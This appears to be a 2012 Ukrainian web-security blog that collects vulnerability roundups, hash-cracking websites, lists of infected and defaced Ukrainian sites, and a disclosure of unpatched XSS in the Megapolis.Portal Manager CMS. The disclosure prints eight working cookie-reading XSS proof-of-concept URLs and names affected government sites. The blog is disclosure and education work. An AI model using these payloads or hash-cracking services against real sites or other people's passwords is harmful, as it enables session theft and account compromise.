Websecurity - Веб безпека

В даній добірці уразливості в веб додатках:

• Certain HP Photosmart Printers, Remote Denial of Service (DoS) (деталі)
• Joomla 2.5.6 Multiple Cross-site scripting vulnerabilities (деталі)
• gajim security update (деталі)
• Atlassian Confluence - Multiple Cross-Site Request Forgery (CSRF) Vulnerabilities (деталі)
• HP DataDirect OpenAccess oaagent.exe GIOP Remote Code Execution Vulnerability (деталі)
• XSS in OSSEC wui 0.3 (деталі)
• HP DataDirect OpenAccess GIOP Parsing Remote Code Execution Vulnerability (деталі)
• Microcart 1.0 Checkout Cross-Site Scripting Security Vulnerability (деталі)
• HP DataDirect OpenAccess GIOP Opcode 0×0E Remote Code Execution Vulnerability (деталі)
• Microcart 1.0 _Admin Cross-Site Scripting Security Vulnerability (деталі)

Продовжу розповідати вам про сайти для пошуку md5 хешей.

В Інтернеті існують веб сайти для пошуку md5 хешей (як й інших хешей). Тобто вони призначені для взлому md5 хешей, щоб по хешу отримати його значення (у випадку хеша пароля, це дозволить отримати пароль).

До раніше наведених сайтів зверну вашу увагу на наступні:

• http://md5.thekaine.de
• http://www.onlinehashcrack.com (md5 та інші хеші)
• http://www.cmd5.org (md5, sha1, mysql та інші хеші)
• http://www.cmd5.ru (md5, sha1, mysql та інші хеші)
• https://goog.li (md4, md5 та інші хеші)

В подальшому я продовжу наводити перелік подібних сайтів.

Після попереднього дослідження інфікованих сайтів, приведу нову інформацію про заражені сайти. З числа українських сайтів.

• http://cs-mapping.com.ua - інфекція була виявлена 09.10.2012. Зараз сайт не входить до переліку підозрілих.
• http://c8.net.ua - інфекція була виявлена 29.07.2012. Зараз сайт не входить до переліку підозрілих.
• http://3s.ua - інфекція була виявлена 16.10.2012. Зараз сайт входить до переліку підозрілих.
• http://lukas.com.ua - інфекція була виявлена 08.09.2012. Зараз сайт не входить до переліку підозрілих.
• http://ava.ua - інфекція була виявлена 26.09.2012. Зараз сайт не входить до переліку підозрілих.

Виявлена XSS уразливість в Microsoft SQL Server.

Уразливі продукти: Microsoft SQL Server 2000 Reporting Services, SQL Server 2005, SQL Server 2008, SQL Server 2012.

Міжсайтовий скриптінг в SQL Server Report Manager.

• Microsoft Security Bulletin MS12-070 - Important Vulnerability in SQL Server Could Allow Elevation of Privilege (2754849) (деталі)

13.07.2012

У липні я знайшов численні Cross-Site Scripting уразливості в Megapolis.Portal Manager. Це комерційна CMS від компанії Cофтлайн. Дірки я виявив на сайтах www.kmu.gov.ua та portal.rada.gov.ua. Про що найближчим часом повідомлю розробникам.

Окрім сайтів Кабміну і Парламенту інші сайти на даному движку, зокрема українські державні сайти, також можуть бути уразливі. Раніше я вже писав про уразливість в Megapolis.Portal Manager (до якої були вразливі десятки сайтів в Україні).

Детальна інформація про уразливості з’явиться пізніше. Спочатку повідомлю розробникам системи.

06.10.2012

XSS:

http://site/control/news?date=04.07.2012'%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://site/control/news?cat_id=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://site/control/uk/publish/category/news_left?cat_id=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://site/control/uk/publish/category/news_left/news_left?cat_id=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://site/control/uk/publish/category/news_left?from=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://site/control/uk/publish/category/news_left/news_left?from=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://site/control/uk/publish/category/news_left?to=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://site/control/uk/publish/category/news_left/news_left?to=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

Дані уразливості досі не виправлені. Розробник Megapolis.Portal Manager відмовився їх виправляти.

Серед різних секюріті плагінів для WordPress, про деякі з них я вже розповідав, як то WordPress File Monitor, існує такий плагін як WordPress Attack Scanner.

Цей плагін постачається в двух версіях: безкоштовній (Free) та платній (Pro). WordPress Attack Scanner Free доступний для скачування як з packetstormsecurity.org, так і з офіційного сайта розробника www.attack-scanner.com. Версію Pro можна купити на офіційному сайті.

Даний сканер атак представляє собою детектор атак для WP. У версії Free плагіна доступне лише логування атак, збір статистики та виведення статистики в адмінці. В Pro версії окрім цього також доступне блокування атак, додання IP нападників в блекліст та інші функції (в тому числі підтримка IP Ban list від партнерів). Тобто якщо безкоштовна версія плагіна - це IDS, то платна версія - це не тільки детектор атак, але й IPS або WAF. Повний перелік відмінностей між двома версіями наводиться на сайті.

Зазначу, що чи то в їхньому власному списку заблокованих IP, чи то в партнерському списку додані IP мого провайдера (якщо не всієї України). Бо, по їхнім даним, з цього регіону у них багато абюзу (не вперше зустрічаю таке регіональне блокування). Що призвело до блокування доступу до їхнього сайта, де вони використовують власний плагін (в тому числі це не дозволяє викачати з офіційного сайта Free версію, чи купити Pro версію плагіна). Що є наочною демонстрацією його роботи . Такі дрібниці ні мене, ні будь-кого, хто цього бажає, не зупинить в отриманні доступу до цього сайта, бо це блокування легко обходиться.

Після попереднього дослідження похаканих сайтів, приведу нову інформацію про взломані сайти. З числа українських сайтів.

• http://www.amnu.gov.ua (хакером The.Bilen) - 10.08.2012 - похаканий державний сайт, зараз сайт вже виправлений адмінами
• http://chasovrada.gov.ua (хакером AL.MaX HaCkEr) - 16.08.2012 - похаканий державний сайт, зараз сайт вже виправлений адмінами
• http://www.minagro.gov.ua (хакером ENO) - 24.08.2012 - похаканий державний сайт, зараз сайт вже виправлений адмінами
• http://www.fokus-pokus.info (хакером Ops507) - 02.09.2012, зараз сайт вже виправлений адмінами
• http://www.fokus-pokus.com (хакером Ops507) - 02.09.2012, зараз сайт вже виправлений адмінами
• http://www.sharpei.com.ua (хакером uykusuz001)
• http://www.britishcouncil.net.ua (хакером Ops507) - 02.09.2012, зараз сайт вже виправлений адмінами
• http://www.britishcouncil.kiev.ua (хакером Ops507) - 02.09.2012, зараз сайт вже виправлений адмінами
• http://www.britishcouncil.od.ua (хакером Ops507) - 02.09.2012, зараз сайт вже виправлений адмінами
• http://zoorinok.com.ua (хакером endless)

В даній добірці уразливості в веб додатках:

• Tftpd32 DNS Server Denial Of Service Vulnerability (деталі)
• Cross-Site Scripting (XSS) in Kayako Fusion (деталі)
• HP Network Node Manager i (NNMi) for HP-UX, Linux, Solaris, and Windows, Remote Cross Site Scripting (XSS) (деталі)
• Сross-Site Request Forgery (CSRF) in TestLink (деталі)
• HP Network Node Manager i (NNMi) for HP-UX, Linux, Solaris, and Windows, Remote Cross Site Scripting (XSS) (деталі)
• moin security update (деталі)
• Vulnerabilities in OpenSSL (деталі)
• THE STUDIO (prod.php?id) Remote SQL injection Vulnerability (деталі)
• openssl security update (деталі)
• zabbix security update (деталі)

Продовжуючи тему уразливостей в плагінах для WordPress, пропоную вам інформацію про дірки в інших плагінах для WP.

Цього разу повідомляю про уразливості в плагінах Add Multiple Users, Sexy Add Template та Download Monitor. Для котрих з’явилися експлоіти. Add Multiple Users - це плагін для додання багатьох користувачів, Sexy Add Template - це плагін для розширення тем движка, Download Monitor - це плагін для ведення статистики скачувань файлів.

• WordPress Add Multiple Users Cross Site Request Forgery (деталі)
• WordPress Sexy Add Template CSRF Shell Upload (деталі)
• Wordpress Download Monitor - Download Page Cross-Site Scripting (деталі)

Користувачам даних плагінів варто або оновити їх, або власноруч виправити дірки. В якості тимчасового рішення, поки не будуть виправлені чи оновлені плагіни, можна їх виключити в адмінці.

Продовжуючи розпочату традицію, після попереднього відео про різні підходи до безпеки, пропоную нове відео на веб секюріті тематику. Цього разу відео про URL і SSL Spoofing в Google Chrome. Рекомендую подивитися всім хто цікавиться цією темою.

Google Chrome 14 URL SSL TLS Spoofing

В ролику демонструється URL Bar Spoofing та SSL Spoofing уразливість в браузері Google Chrome. Раніше я наводив приклади окремо підробки URL і окремо підробки SSL сертифікату, а це комбінована атака. Дана уразливість дозволяє підробити URL в адресному рядку браузера та інформації про SSL сертифікат (що може бути використано для проведення фішинг атак). Спочатку в адресному рядку відображується одна адреса, потім у вікні відображується інша адреса, а потім у вікні розміщується вміст сторінки нападника (при збереженні адреси попереднього сайта і статусу SSL з відповідним індикатором).

Атака відбувається при відвідуванні в Chrome спеціально створеного веб сайта, що містить код експлоіту. Рекомендую подивитися дане відео для розуміння векторів атак на браузери.